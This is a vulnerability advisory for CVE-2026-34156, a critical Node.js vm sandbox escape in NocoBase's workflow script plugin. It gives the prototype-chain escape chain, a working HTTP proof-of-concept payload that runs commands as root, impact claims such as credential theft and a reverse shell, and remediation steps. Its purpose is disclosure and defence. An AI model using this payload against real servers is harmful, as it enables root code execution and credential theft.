PT-2026-29158 · Npm · @Nocobase/Plugin-Workflow-Javascript
Published
2026-03-30
·
Updated
2026-03-30
·
CVE-2026-34156
CVSS v3.1
9.9
Critical
| AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
## SummaryNocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js
vm sandbox with a custom require allowlist (controlled by WORKFLOW SCRIPT MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console. stdout and console. stderr.An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
Exploit Chain
console. stdout.constructor.constructor→ host-realmFunctionconstructorFunction('return process')()→ Node.jsprocessobjectprocess.mainModule.require('child process')→ unrestricted module loadingchild process.execSync('id')→ RCE as root
This completely bypasses the
customRequire allowlist.Impact
- Remote Code Execution as root (uid=0) inside Docker container
- Database credential theft (
DB PASSWORD,INIT ROOT PASSWORDfromprocess.env) - Arbitrary file read/write via
require('fs') - Reverse shell confirmed
- Outbound network access for lateral movement
Proof of Concept
HTTP Request:
POST /api/flow nodes:test
Authorization: Bearer
Content-Type: application/json
{
"type": "script",
"config": {
"content": "const Fn=console. stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child process');return cp.execSync('id').toString().trim();",
"timeout": 5000,
"arguments": []
}
}
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
Environment
- Docker image:
nocobase/nocobase:latest - NocoBase CLI: v2.0.26
- Node.js: v20.20.1
- OS: Debian GNU/Linux 12 (bookworm)
PoC
Got reverse shell
Proof of concept the root privileges
os-release demonstration
App path
Exploit Usage:
Reverse Shell Mode
Dump system information & creds
Remote Command Execution Mode
Remediation
- Replace Node.js
vmmodule withisolated-vmfor true V8 isolate separation - Do not pass the host
consoleobject into the sandbox; create a clean proxy - Run the application as a non-root user inside Docker
- Restrict
/api/flow nodes:testto admin-only roles
Alternative Escape Vectors
console. stderr.constructor.constructor(identical chain via stderr)Error.prepareStackTrace+CallSite.getThis()(V8 CallSite API)
Reporter
Onurcan Genç — Independent Security Researcher, Bilkent University
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
@Nocobase/Plugin-Workflow-Javascript